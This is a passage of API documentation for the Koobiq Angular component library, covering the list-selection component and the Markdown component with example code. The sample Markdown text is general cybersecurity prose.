    readonly dropped = output<KbqListSelectionDroppedEvent>();
    readonly selectionChange = output<KbqListSelectionChange<T>>();
    keyManager: FocusKeyManager<KbqListOption<T>>;
    get options(): QueryList<KbqListOption<T>>;
    readonly onCopy: EventEmitter<KbqListCopyEvent<KbqListOption<T>>>;
    readonly selectAllOption: Signal<KbqListOption<T> | undefined>;
    get allOptionsSelected(): boolean;
    get selectAllState(): KbqPseudoCheckboxState;
    multipleMode: MultipleMode | null;
    userTabIndex: number | null;
    get showCheckbox(): boolean;
    selectionModel: SelectionModel<KbqListOption<T>>;
    get optionFocusChanges(): Observable<KbqOptionEvent<T>>;
    get optionBlurChanges(): Observable<KbqOptionEvent<T>>;
    toggleSelectAll(): void;
    focus(): void;
    blur(): void;
    selectAll(): void;
    deselectAll(): void;
    updateScrollSize(): void;
    setSelectedOptionsByClick(
        option: KbqListOption<T>,
        shiftKey: boolean,
        ctrlKey: boolean
    ): void;
    setSelectedOptionsByKey(
        option: KbqListOption<T>,
        shiftKey: boolean,
        ctrlKey: boolean
    ): void;
    selectActiveOptions(): void;
    getSelectedOptionValues(): T[];
    toggleFocusedOption(): void;
    canDeselectLast(listOption: KbqListOption<T>): boolean;
    removeOptionFromList(option: KbqListOption<T>): void;
    onKeyDown(event: KeyboardEvent): void;
    reportValueChange(): void;
    emitChangeEvent(option: KbqListOption<T>): void;
}
```

- `[autoSelect]`: `boolean | undefined` — Whether clicking an option clears the rest of the selection. Defaults to `true`, and to `false` for
  `multiple="checkbox"`, where a click is expected to toggle a single row. A bound value replaces the
  default derived from `multiple`.
- `[noUnselectLast]`: `boolean | undefined` — Whether the last selected option can be deselected. Derived from the mode like `autoSelect`.
- `[draggable]`: `boolean` — Whether options can be reordered by dragging them.
  Reordering never mutates the data — handle the `dropped` event and move the item yourself.
- `[connectedTo]`: `KbqListSelection<T> | string | readonly (KbqListSelection<T> | string)[]` — Lists that options of this list can be moved into. Accepts `KbqListSelection` instances or the
  `id` of another list. `cdkDropListGroup` on a common ancestor connects lists automatically.
- `[dragPreview]`: `KbqListDragPreview` — What the option's floating copy looks like while it is dragged. Defaults to `text`: a compact
  plate carrying the option's label and caption, capped at a readable width. Use `full` to drag a
  clone of the whole row, checkbox, icons and action button included.
- `[dragCursor]`: `KbqListDragCursor` — Whether a draggable option shows the grab cursor over the whole row. Defaults to `auto`, which
  leaves the row the cursor it has anyway. Use `grab` where the whole row is meant to read as a
  handle. An option carrying a projected `cdkDragHandle` ignores this — the handle keeps the grab.
- `[selectAllToggle]`: `boolean` — When `true`, a repeated Ctrl/Cmd+A deselects all options. Off by default (Ctrl+A only selects).
- `[selectAll]`: `boolean` — Whether to render the "select all" master checkbox above the options. `multiple="checkbox"` only —
  a vertical list, since the row is a full-width heading of the column it governs.

  The row acts on every option the user can toggle, disabled ones excluded. Enabling it also makes
  Ctrl/Cmd + A a two-way toggle, so the shortcut and the checkbox never disagree (`selectAllToggle`
  is implied).

  Aliased rather than named `selectAll`, which is already taken by the imperative method of that name.
- `[multiple]`: `KbqMultipleInput | undefined` — Selection mode of the list.

  `checkbox` renders a checkbox in every option, `keyboard` selects without one. A bare `multiple` and
  `true` both mean `checkbox`; `single`, `false` and an absent attribute mean single selection. The mode
  can be changed at any time — narrowing it to single selection keeps the first selected option and
  reports the shortened value through the `ControlValueAccessor`.

  The getter reports whether more than one option can be selected; read `multipleMode` for the
  mode itself.
- `[disabled]`: `boolean | undefined` — Whether the list is disabled, bound with `[disabled]` or set by a form control.
- `[compareWith]`: `(o1: T, o2: T) => boolean` — Function used for comparing an option against the selected value when determining which
  options should appear as selected. The first argument is the value of an options. The second
  one is a value from the selected value. A boolean must be returned.

  Bind a stable reference — a field or a bound method. An expression that builds a new function on
  every change detection pass makes the list re-resolve every value against every option each pass.
- `[selectAllHandler]`: `((event: KeyboardEvent, list: KbqListSelection<T>) => void) | undefined` — Function for handling the combination Ctrl + A (select all). By default, the internal handler is used,
  which toggles the selection of all non-disabled options.
- `(dropped)`: `KbqListSelectionDroppedEvent` — Emits when an option changes its position by dragging.
- `onCopy`: `EventEmitter<KbqListCopyEvent<KbqListOption<T>>>` — Emits when the active option is copied with Ctrl/Cmd + C. Subscribing replaces the built-in clipboard
  copy, so the event stays an `EventEmitter`: the decision is made by reading `observed`, which
  `OutputEmitterRef` does not have. A template listener subscribes to it through the output below.
- `selectAllOption`: `Signal<KbqListOption<T> | undefined>` — Reference to the built-in "select all" row, rendered only while `selectAll` is on.

  Located by template reference rather than by the `KbqListOption` type: that class is declared
  below this one in the same file, and a query locator is evaluated while this class is being
  defined, which would read it in its temporal dead zone.
- `allOptionsSelected`: `boolean` — Whether every option "select all" can act on is selected.
- `selectAllState`: `KbqPseudoCheckboxState` — State of the "select all" master checkbox.
- `multipleMode`: `MultipleMode | null` — Resolved selection mode, or `null` when only one option can be selected.
- `selectionModel`: `SelectionModel<KbqListOption<T>>` — Model backing the selection.

  The instance is replaced whenever `multiple` changes the multiplicity, because CDK freezes that
  flag at construction. Subscribe to `selectionChange` rather than to `selectionModel.changed`:
  a subscription taken on the model directly is left behind on the discarded instance.
- `toggleSelectAll()`: `void` — Selects every option "select all" can act on, or deselects them all when they are already selected.

  Backs both the master checkbox and Ctrl/Cmd + A, so the two can never disagree. Reports the value
  once for the whole batch instead of once per option.
- `blur()`: `void` — Clears the active key-manager item (unless an option is still focused) and marks the list as touched.
- `selectAll()`: `void` — Selects every option and reports the new value to the `ControlValueAccessor`.

  Unlike the `selectAll` attribute and Ctrl/Cmd + A, this acts on disabled options as well — it is
  an imperative command, not something the user performed. See `toggleSelectAll` for the
  behaviour the master checkbox has.
- `deselectAll()`: `void` — Deselects every option, disabled ones included, and reports the new value. See `selectAll`.
- `getSelectedOptionValues()`: `T[]` — Values of the currently selected options.
- `canDeselectLast()`: `boolean` — Whether `listOption` is allowed to be deselected, given `noUnselectLast`.
- `onKeyDown()`: `void` — Handles keydown events on the list.

#### Directives

##### KbqListOptionCaption (directive)

Marker directive for the secondary line of a `kbq-list-option`.

Purely a styling hook: it adds the `kbq-list-option-caption` class the list theme keys its
muted caption typography and per-state colors off.

```ts
@Directive({ selector: '[kbq-list-option-caption]' })
class KbqListOptionCaption {}
```

#### Classes

##### KbqListCopyEvent (class)

Event class that occurs when copying an item from the KbqListSelection.
Used to pass data about the copied item and copy context.

```ts
class KbqListCopyEvent<T> {
    source: KbqListSelection<any>;
    option: T;
    event?: KeyboardEvent;
    constructor(
        source: KbqListSelection<any>,
        option: T,
        event?: KeyboardEvent
    );
}
```

##### KbqListSelectAllEvent (class)

```ts
class KbqListSelectAllEvent<T> {
    source: KbqListSelection<any>;
    options: T[];
    constructor(source: KbqListSelection<any>, options: T[]);
}
```

##### KbqListSelectionChange (class)

```ts
class KbqListSelectionChange<T = any> {
    source: KbqListSelection<T>;
    option: KbqListOption<T>;
    constructor(source: KbqListSelection<T>, option: KbqListOption<T>);
}
```

#### Types

##### KbqListDragCursor (type)

Whether a draggable option advertises with the cursor that the whole row can be picked up.

`auto` leaves the row the cursor it would have anyway, `grab` turns the row into a visible handle.
A projected `cdkDragHandle` takes the grab over either way.

```ts
type KbqListDragCursor = 'auto' | 'grab';
```

##### KbqListDragPreview (type)

How the floating copy of an option is rendered while it is dragged.

`text` shows a compact plate with the option's own text and nothing else, `full` a clone of the
whole row.

```ts
type KbqListDragPreview = 'text' | 'full';
```

##### KbqListSelectionDroppedEvent (type)

Event emitted when an option changes its position by dragging.

```ts
type KbqListSelectionDroppedEvent = Pick<CdkDragDrop<KbqListSelection>, 'previousIndex' | 'currentIndex'> & {
    option: KbqListOption;
    container: KbqListSelection;
    previousContainer: KbqListSelection;
    event: MouseEvent | TouchEvent;
};
```

- `option`: `KbqListOption` — Option that has been moved.
- `container`: `KbqListSelection` — List the option has been moved into.
- `previousContainer`: `KbqListSelection` — List the option has been taken from. Equal to `container` when reordering within a single list.
- `event`: `MouseEvent | TouchEvent` — Pointer event that ended the drag.

##### KbqOptionEvent (interface)

```ts
interface KbqOptionEvent<T = any> {
    option: KbqListOption<T>;
}
```

#### Constants

##### KBQ_SELECTION_LIST_VALUE_ACCESSOR (const)

```ts
const KBQ_SELECTION_LIST_VALUE_ACCESSOR: Provider;
```

### Examples

#### Multiple selection with mixed state

In the privilege assignment interface, clicking the "Assign" button opens a window where you can specify which users should receive a specific privilege. A list item with a checkbox in the indeterminate state indicates that the privilege is assigned to only some users. Activating this list item will assign the privilege to all selected users.

**Example: List multiple checkbox** (`list-intermediate-state`)

```ts list-intermediate-state-example.ts
import { AsyncPipe } from '@angular/common';
import { ChangeDetectionStrategy, Component, viewChild } from '@angular/core';
import { FormsModule, ReactiveFormsModule, UntypedFormControl } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqPseudoCheckbox, KbqPseudoCheckboxState, PopUpPlacements, PopUpSizes } from '@koobiq/components/core';
import { KbqEmptyState } from '@koobiq/components/empty-state';
import { KbqTrim } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInput, KbqInputModule } from '@koobiq/components/input';
import { KbqListModule, KbqListSelectionChange } from '@koobiq/components/list';
import { KbqPopoverModule, KbqPopoverTrigger } from '@koobiq/components/popover';
import { KbqScrollbar } from '@koobiq/components/scrollbar';
import { KbqUsernameModule } from '@koobiq/components/username';
import { merge, Observable, of } from 'rxjs';
import { map } from 'rxjs/operators';

interface ExampleUser {
    lastName: string;
    firstName: string;
    middleName: string;
    login: string;
    displayName: string;
}

@Component({
    selector: 'list-intermediate-state-example',
    imports: [
        KbqListModule,
        FormsModule,
        KbqButtonModule,
        KbqIconModule,
        KbqInputModule,
        KbqInput,
        KbqPopoverModule,
        KbqTrim,
        KbqUsernameModule,
        KbqPseudoCheckbox,
        ReactiveFormsModule,
        AsyncPipe,
        KbqEmptyState,
        KbqScrollbar
    ],
    templateUrl: './list-intermediate-state-example.html',
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;

            padding-top: var(--kbq-size-7xl);
            padding-bottom: var(--kbq-size-7xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ListIntermediateStateExample {
    PopUpSizes = PopUpSizes;
    PopUpPlacements = PopUpPlacements;

    users: ExampleUser[] = [
        {
            lastName: '',
            firstName: '',
            middleName: '',
            login: 'Administrator',
            displayName: 'Administrator'
        },
        {
            lastName: '',
            firstName: 'Алексей',
            middleName: '',
            login: 'AlexFree',
            displayName: 'AlexFree'
        },
        {
            lastName: '',
            firstName: '',
            middleName: '',
            login: 'NightWolf',
            displayName: 'NightWolf'
        },
        {
            lastName: '',
            firstName: '',
            middleName: '',
            login: 'SkyRider',
            displayName: 'SkyRider'
        },
        {
            lastName: 'Smith',
            firstName: 'John',
            middleName: '',
            login: 'agent.smith',
            displayName: 'Smith J.'
        },
        {
            lastName: 'Волкова',
            firstName: '',
            middleName: '',
            login: 'VolkovaV',
            displayName: 'VolkovaV'
        },
        {
            lastName: '',
            firstName: 'Ольга',
            middleName: '',
            login: 'olga_f',
            displayName: 'olga_f'
        },
        {
            lastName: 'Белова',
            firstName: 'Татьяна',
            middleName: 'Михайловна',
            login: 'tat_bel',
            displayName: 'Белова Т. М.'
        },
        {
            lastName: 'Громов',
            firstName: 'Дмитрий',
            middleName: 'Игоревич',
            login: 'grom_d',
            displayName: 'Громов Д. И.'
        },
        {
            lastName: 'Жуков',
            firstName: 'Роман',
            middleName: '',
            login: 'RomanZhuk',
            displayName: 'Жуков Р.'
        },
        {
            lastName: 'Иванов',
            firstName: 'Павел',
            middleName: 'Сергеевич',
            login: 'pavel_i',
            displayName: 'Иванов П. С.'
        },
        {
            lastName: 'Костин',
            firstName: 'Олег',
            middleName: 'Семёнович',
            login: 'kostin_o',
            displayName: 'Костин О. С.'
        },
        {
            lastName: 'Кузнецов',
            firstName: 'Максим',
            middleName: '',
            login: 'mkuznetsov',
            displayName: 'Кузнецов М.'
        },
        {
            lastName: 'Макаров',
            firstName: 'Кирилл',
            middleName: 'Петрович',
            login: 'kirillmak',
            displayName: 'Макаров К. П.'
        },
        {
            lastName: 'Никитин',
            firstName: 'Степан',
            middleName: 'Андреевич',
            login: 'step_nik',
            displayName: 'Никитин С. А.'
        },
        {
            lastName: 'Орлова',
            firstName: 'Мария',
            middleName: '',
            login: 'MashaBright',
            displayName: 'Орлова М.'
        },
        {
            lastName: 'Петров',
            firstName: 'Илья',
            middleName: 'Александрович',
            login: 'petrov_ilya',
            displayName: 'Петров И. А.'
        },
        {
            lastName: 'Сидорова',
            firstName: 'Елена',
            middleName: '',
            login: 'ElenaStar',
            displayName: 'Сидорова Е.'
        },
        {
            lastName: 'Смирнова',
            firstName: 'Вероника',
            middleName: '',
            login: 'VeraSmile',
            displayName: 'Смирнова В.'
        },
        {
            lastName: 'Соколова',
            firstName: 'Анна',
            middleName: 'Дмитриевна',
            login: 'anna_s',
            displayName: 'Соколова А. Д.'
        },
        {
            lastName: 'Тихонова',
            firstName: 'Валерия',
            middleName: 'Алексеевна',
            login: 'val_ti',
            displayName: 'Тихонова В. А.'
        },
        {
            lastName: 'Яковлев',
            firstName: 'Егор',
            middleName: '',
            login: 'egor_y',
            displayName: 'Яковлев Е.'
        }
    ];

    usersSelectedInOtherGroups: ExampleUser[] = [this.users[0]];
    savedUsersSelectedInOtherGroups: ExampleUser[] = [];

    selected: ExampleUser[] = [this.users[5], this.users[8], this.users[11]];
    savedSelection: ExampleUser[] = [];
    needRestore: boolean = true;

    searchControl: UntypedFormControl = new UntypedFormControl();
    filteredUsers: Observable<ExampleUser[]>;

    readonly popover = viewChild.required(KbqPopoverTrigger);

    constructor() {
        this.filteredUsers = merge(
            of(this.users),
            this.searchControl.valueChanges.pipe(map((value) => this.getFilteredUsers(value)))
        );
    }

    getCheckboxState(user: ExampleUser): KbqPseudoCheckboxState {
        if (this.selected.includes(user)) return true;

        if (this.usersSelectedInOtherGroups.includes(user)) return 'indeterminate';

        return false;
    }

    onVisibleChange(state: boolean) {
        if (state) {
            this.saveSelectionState();
        } else {
            if (this.needRestore) {
                this.restoreSelectionState();
            }

            this.popover().focus();
        }
    }

    onApply() {
        this.needRestore = false;
        this.popover().hide(0);
        this.popover().focus();
    }

    onSelectionChange(event: KbqListSelectionChange) {
        if (!event.option.selected) {
            this.usersSelectedInOtherGroups.splice(event.option.value, 1);
        }
    }

    private getFilteredUsers(value): ExampleUser[] {
        const searchFilter = value.toLowerCase();

        return searchFilter ? this.users.filter((user) => this.userHasText(user, searchFilter)) : this.users;
    }

    private userHasText(user: ExampleUser, text: string): boolean {
        return (user.lastName + user.firstName + user.middleName + user.login + user.displayName)
            .toLowerCase()
            .includes(text);
    }

    private saveSelectionState() {
        this.savedSelection = [...this.selected];
        this.savedUsersSelectedInOtherGroups = [...this.usersSelectedInOtherGroups];
        this.needRestore = true;
    }

    private restoreSelectionState() {
        this.selected = [...this.savedSelection];
        this.usersSelectedInOtherGroups = [...this.savedUsersSelectedInOtherGroups];
    }
}
```

```html ./list-intermediate-state-example.html
<button
    #kbqPopover="kbqPopover"
    kbq-button
    kbqPopover
    [kbqPopoverSize]="PopUpSizes.Medium"
    [kbqPopoverHeader]="customHeader"
    [kbqPopoverContent]="customContent"
    [kbqPopoverFooter]="customFooter"
    [kbqPopoverArrow]="false"
    [kbqPopoverOffset]="4"
    [kbqPopoverPlacement]="PopUpPlacements.BottomLeft"
    [kbqPopoverPlacementPriority]="PopUpPlacements.BottomLeft"
    [kbqPopoverDefaultPaddings]="false"
    (kbqPopoverVisibleChange)="onVisibleChange($event)"
>
    <i kbq-icon="kbq-user_16"></i>
    Назначить пользователей
    <i kbq-icon="kbq-chevron-down_16"></i>
</button>

<ng-template #customHeader>
    <div style="border-bottom: 1px solid var(--kbq-line-contrast-less)" [style.width.px]="400">
        <kbq-form-field class="layout-padding-vertical-xxs" noBorders>
            <i kbq-icon="kbq-magnifying-glass_16" kbqPrefix></i>
            <input kbqInput placeholder="Пользователь" autocomplete="off" [formControl]="searchControl" />
        </kbq-form-field>
    </div>
</ng-template>

<ng-template #customContent>
    <kbq-scrollbar style="height: 374px">
        <kbq-list-selection
            class="layout-padding-horizontal-xxs layout-padding-vertical-xxs"
            multiple="checkbox"
            aria-label="Назначить пользователей"
            [(ngModel)]="selected"
            (selectionChange)="onSelectionChange($event)"
        >
            @for (user of filteredUsers | async; track user) {
                <kbq-list-option [showCheckbox]="false" [value]="user">
                    <kbq-pseudo-checkbox aria-hidden="true" [state]="getCheckboxState(user)" />
                    <kbq-username [userInfo]="user" />
                </kbq-list-option>
            }
        </kbq-list-selection>

        @if (!(filteredUsers | async)?.length) {
            <kbq-empty-state style="margin-top: 132px">
                <span kbq-empty-state-text>Ничего не найдено</span>
            </kbq-empty-state>
        }
    </kbq-scrollbar>
</ng-template>

<ng-template #customFooter>
    <div
        class="layout-row layout-gap-l layout-padding-vertical-l layout-padding-horizontal-xxl"
        style="border-top: 1px solid var(--kbq-line-contrast-less)"
    >
        <button kbq-button [color]="'contrast'" (click)="onApply()">Применить</button>
        <button kbq-button (click)="popover().hide(0)">Отмена</button>
    </div>
</ng-template>
```

## Markdown

- Entry point: `@koobiq/components/markdown`
- NgModule: `KbqMarkdownModule`
- Page: https://koobiq.io/en/components/markdown/overview

### Overview

`KbqMarkdown` - component that allows converting text written in _Markdown_ markup language into _HTML_.

Note

For the component to work, the [`marked`](https://github.com/markedjs/marked) dependency is required:

```bash
npm install marked
```

#### Headers

**Example: Markdown headers** (`markdown-overview`)

```ts markdown-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMarkdown } from '@koobiq/components/markdown';

@Component({
    selector: 'markdown-overview-example',
    imports: [KbqMarkdown],
    templateUrl: './markdown-overview-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class MarkdownOverviewExample {}
```

```html ./markdown-overview-example.html
<kbq-markdown ngPreserveWhitespaces>
# Heading 1
## Heading 2
### Heading 3
#### Heading 4
##### Heading 5
###### Heading 6
</kbq-markdown>
```

#### Paragraph

**Example: Markdown paragraph** (`markdown-paragraph`)

```ts markdown-paragraph-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMarkdown } from '@koobiq/components/markdown';

@Component({
    selector: 'markdown-paragraph-example',
    imports: [KbqMarkdown],
    templateUrl: './markdown-paragraph-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class MarkdownParagraphExample {}
```

```html ./markdown-paragraph-example.html
<kbq-markdown ngPreserveWhitespaces>
A brute-force attack is a cryptanalytic attack that can, in theory, be used to attempt to decrypt any encrypted data (except for data encrypted in an information-theoretically secure manner).

Such an attack might be used when it is not possible to take advantage of other weaknesses in an encryption system (if any exist) that would make the task easier.
</kbq-markdown>
```

#### Text emphasis

**Example: Markdown selection** (`markdown-selection`)

```ts markdown-selection-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMarkdown } from '@koobiq/components/markdown';

@Component({
    selector: 'markdown-selection-example',
    imports: [KbqMarkdown],
    templateUrl: 'markdown-selection-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class MarkdownSelectionExample {}
```

```html markdown-selection-example.html
<kbq-markdown ngPreserveWhitespaces>
**bold**&#32;&#32;
__bold__

_italic_&#32;&#32;
*italic*

***bold and italic***&#32;&#32;
___bold and italic___
</kbq-markdown>
```

#### Blockquote

**Example: Markdown quote** (`markdown-quote`)

```ts markdown-quote-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMarkdown } from '@koobiq/components/markdown';

@Component({
    selector: 'markdown-quote-example',
    imports: [KbqMarkdown],
    templateUrl: './markdown-quote-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class MarkdownQuoteExample {}
```

```html ./markdown-quote-example.html
<kbq-markdown ngPreserveWhitespaces>
> A [brute-force attack](#) is a cryptanalytic attack that can, in theory, be used to attempt to decrypt any encrypted data (except for data encrypted in an information-theoretically secure manner). Such an attack might be used when it is not possible to take advantage of other weaknesses in an encryption system (if any exist) that would make the task easier.
</kbq-markdown>
```

#### Lists

**Example: Markdown list** (`markdown-list`)

```ts markdown-list-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMarkdown } from '@koobiq/components/markdown';

@Component({
    selector: 'markdown-list-example',
    imports: [KbqMarkdown],
    templateUrl: './markdown-list-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class MarkdownListExample {}
```

```html ./markdown-list-example.html
<kbq-markdown ngPreserveWhitespaces>
### Ordered List:

1. First item
2. Second item
3. Third item
4. Fourth item

### Unordered List:

- First item
- Second item
- Third item
- Fourth item
</kbq-markdown>
```

#### Inline code

**Example: Markdown code** (`markdown-code`)

```ts markdown-code-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMarkdown } from '@koobiq/components/markdown';

@Component({
    selector: 'markdown-code-example',
    imports: [KbqMarkdown],
    templateUrl: './markdown-code-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class MarkdownCodeExample {}
```

```html ./markdown-code-example.html
<kbq-markdown ngPreserveWhitespaces>
Use the `bypassSecurityTrustHtml()` function
</kbq-markdown>
```

#### Code block

**Example: Markdown code block** (`markdown-code-block`)

```ts markdown-code-block-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMarkdown } from '@koobiq/components/markdown';

@Component({
    selector: 'markdown-code-block-example',
    imports: [KbqMarkdown],
    templateUrl: './markdown-code-block-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class MarkdownCodeBlockExample {}
```

````html ./markdown-code-block-example.html
<kbq-markdown ngPreserveWhitespaces>
```html
&#60;!DOCTYPE html&#62;
&#60;html lang="en"&#62;
&#60;head&#62;
    &#60;meta charset="UTF-8"&#62;
    &#60;meta name="viewport" content="width=device-width, initial-scale=1.0"&#62;
    &#60;title&#62;Koobiq&#60;/title&#62;
&#60;/head&#62;
&#60;body&#62;
    &#60;app&#62;&#60;/app&#62;
&#60;/body&#62;
&#60;/html&#62;
```
</kbq-markdown>
````

#### Horizontal rule

**Example: Markdown divider** (`markdown-divider`)

```ts markdown-divider-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMarkdown } from '@koobiq/components/markdown';

@Component({
    selector: 'markdown-divider-example',
    imports: [KbqMarkdown],
    templateUrl: './markdown-divider-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class MarkdownDividerExample {}
```

```html ./markdown-divider-example.html
<kbq-markdown ngPreserveWhitespaces>
---
</kbq-markdown>
```

#### Link

**Example: Markdown link** (`markdown-link`)

```ts markdown-link-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMarkdown } from '@koobiq/components/markdown';

@Component({
    selector: 'markdown-link-example',
    imports: [KbqMarkdown],
    templateUrl: './markdown-link-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class MarkdownLinkExample {}
```

```html ./markdown-link-example.html
<kbq-markdown ngPreserveWhitespaces>
[Link](#)

A [`brute-force` attack](#) is a cryptanalytic attack that can, in theory, be used to attempt to decrypt any encrypted data (except for data encrypted in an information-theoretically secure manner).
</kbq-markdown>
```

#### Image

**Example: Markdown image** (`markdown-image`)

```ts markdown-image-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMarkdown } from '@koobiq/components/markdown';

@Component({
    selector: 'markdown-image-example',
    imports: [KbqMarkdown],
    templateUrl: './markdown-image-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class MarkdownImageExample {}
```

```html ./markdown-image-example.html
<kbq-markdown ngPreserveWhitespaces>
![With caption text](https://koobiq.io/assets/images/markdown/markdown-image.png)
*Caption*
</kbq-markdown>
```

#### Table

**Example: Markdown table** (`markdown-table`)

```ts markdown-table-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMarkdown } from '@koobiq/components/markdown';

@Component({
    selector: 'markdown-table-example',
    imports: [KbqMarkdown],
    templateUrl: './markdown-table-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class MarkdownTableExample {}
```

```html ./markdown-table-example.html
<kbq-markdown ngPreserveWhitespaces>
| Default    | Left align | Center align | Right align |
| ---------- | :--------- | :----------: | ----------: |
| Babable    | Zillya     |    ClamAV    |     Acronis |
| Cybereason | McAfee     |    Cyren     |       Zoner |
| ESET NOD32 | Alibaba    |    eScan     |      Dr.Web |
</kbq-markdown>
```

#### Line break

To create a line break in a component template, you need to add two spaces `&#32;&#32;` at the end of the line.

**Example: Markdown line break** (`markdown-line-break`)

```ts markdown-line-break-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMarkdown } from '@koobiq/components/markdown';

@Component({
    selector: 'markdown-line-break-example',
    imports: [KbqMarkdown],
    templateUrl: './markdown-line-break-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class MarkdownLineBreakExample {}
```

```html ./markdown-line-break-example.html
<kbq-markdown ngPreserveWhitespaces>
First line&#32;&#32;
Second line
</kbq-markdown>
```

When using the `markdownText` attribute, you need to add `\n` at the end of the line and also enable the configuration option `{ breaks: true }`.

**Example: Markdown line break** (`markdown-line-break-with-markdown-text-input`)

```ts markdown-line-break-with-markdown-text-input-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMarkdown, kbqMarkdownMarkedOptionsProvider } from '@koobiq/components/markdown';

@Component({
    selector: 'markdown-line-break-with-markdown-text-input-example',
    imports: [KbqMarkdown],
    // prettier-ignore
    template: `
        <kbq-markdown markdownText="First line\nSecond line" />
    `,
    providers: [kbqMarkdownMarkedOptionsProvider({ breaks: true })],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class MarkdownLineBreakWithMarkdownTextInputExample {}
```

### API

#### Components

##### KbqMarkdown (component)

Component which allows to convert `Markdown` into `HTML`

```ts
@Component({ selector: 'kbq-markdown' })
class KbqMarkdown {
    readonly markdownText = input<string | null>(null);
}
```

- `[markdownText]`: `string | null` — `Markdown` text. Falls back to the projected content while it is empty.

#### Constants

##### KBQ_MARKDOWN_MARKED_OPTIONS (const)

List of options for `marked` library.

```ts
const KBQ_MARKDOWN_MARKED_OPTIONS: InjectionToken<MarkedOptions>;
```

##### kbqMarkdownMarkedOptionsProvider (const)

Utility provider for `KBQ_MARKDOWN_MARKED_OPTIONS`.

```ts
const kbqMarkdownMarkedOptionsProvider: (
    options: MarkedOptions
) => Provider;
```

### Examples

#### Headers combinations

**Example: Markdown headers combinations** (`markdown-headers-combinations`)

```ts markdown-headers-combinations-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMarkdown } from '@koobiq/components/markdown';

@Component({
    selector: 'markdown-headers-combinations-example',
    imports: [KbqMarkdown],
    templateUrl: './markdown-headers-combinations-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class MarkdownHeadersCombinationsExample {}
```

```html ./markdown-headers-combinations-example.html
<kbq-markdown ngPreserveWhitespaces>
## Data Protection System
### Security Levels
#### Threat Types

Recommended password length is 12 characters, encryption key length is 256 bits. Weak passwords are not rejected, the system raises security requirements.

### Attack Detection

Monitoring happens in real time. Multiple incidents form a unified threat picture. New events are displayed in the security log. If there are many threats, critical ones are highlighted with priority. Most often attacks are detected automatically, but an administrator can initiate a manual check.
</kbq-markdown>
```

#### Large article

**Example: Markdown article** (`markdown-article`)

```ts markdown-article-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMarkdown } from '@koobiq/components/markdown';

@Component({
    selector: 'markdown-article-example',
    imports: [KbqMarkdown],
    templateUrl: './markdown-article-example.html',
    styles: `
        :host ::ng-deep img[alt='image-with-custom-width'] {
            width: 50%;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class MarkdownArticleExample {}
```

````html ./markdown-article-example.html
<kbq-markdown ngPreserveWhitespaces>
# Cybersecurity Fundamentals

![With caption text](https://koobiq.io/assets/images/markdown/markdown-image.png)
*Caption*

## Network Security

Cybersecurity is the practice of protecting systems, networks, and programs from digital attacks. These cyberattacks are usually aimed at accessing, changing, or destroying sensitive information; extorting money from users; or interrupting normal business processes.

Implementing effective cybersecurity measures is particularly challenging today because there are more devices than people, and attackers are becoming more innovative. A successful cybersecurity approach has multiple layers of protection spread across the computers, networks, programs, or data that one intends to keep safe.

## Data Protection

### Encryption Standards

Network security involves protecting the usability and integrity of network and data. It includes both hardware and software technologies. Effective network security manages access to the network and targets a variety of threats and stops them from entering or spreading on your network.

### Authentication Methods

Multi-factor authentication adds an extra layer of security by requiring users to provide two or more verification factors to gain access to a resource. This significantly reduces the risk of unauthorized access even if passwords are compromised.

## Threat Detection

![image-with-custom-width](https://koobiq.io/assets/images/markdown/markdown-image.png)
*Image with custom width*

Advanced persistent threats represent sophisticated, long-term cyber attacks where intruders gain access to a network and remain undetected for extended periods. These attacks are typically aimed at stealing data rather than causing damage to the network or organization. Threat detection systems use machine learning and behavioral analysis to identify suspicious activities and potential security breaches before they can cause significant damage.

> Security is not a product, but a process that requires continuous monitoring and improvement.

Incident response planning is crucial for organizations to effectively handle security breaches when they occur. A well-structured incident response plan helps minimize damage and recovery time.

1. Identify and assess the security incident
2. Contain the threat to prevent further damage
3. Eradicate the threat from all affected systems
4. Recover normal operations and monitor for signs of weakness

Risk assessment and vulnerability management are ongoing processes that help organizations identify potential security gaps. Regular security audits and penetration testing help ensure that security measures remain effective against evolving threats.

Cybersecurity awareness training is essential for all employees as human error remains one of the leading causes of security breaches. Regular training helps staff recognize phishing attempts, social engineering tactics, and other common attack vectors.

### Security Monitoring

Security information and event management systems collect and analyze security-related data from various sources across an organization's infrastructure.
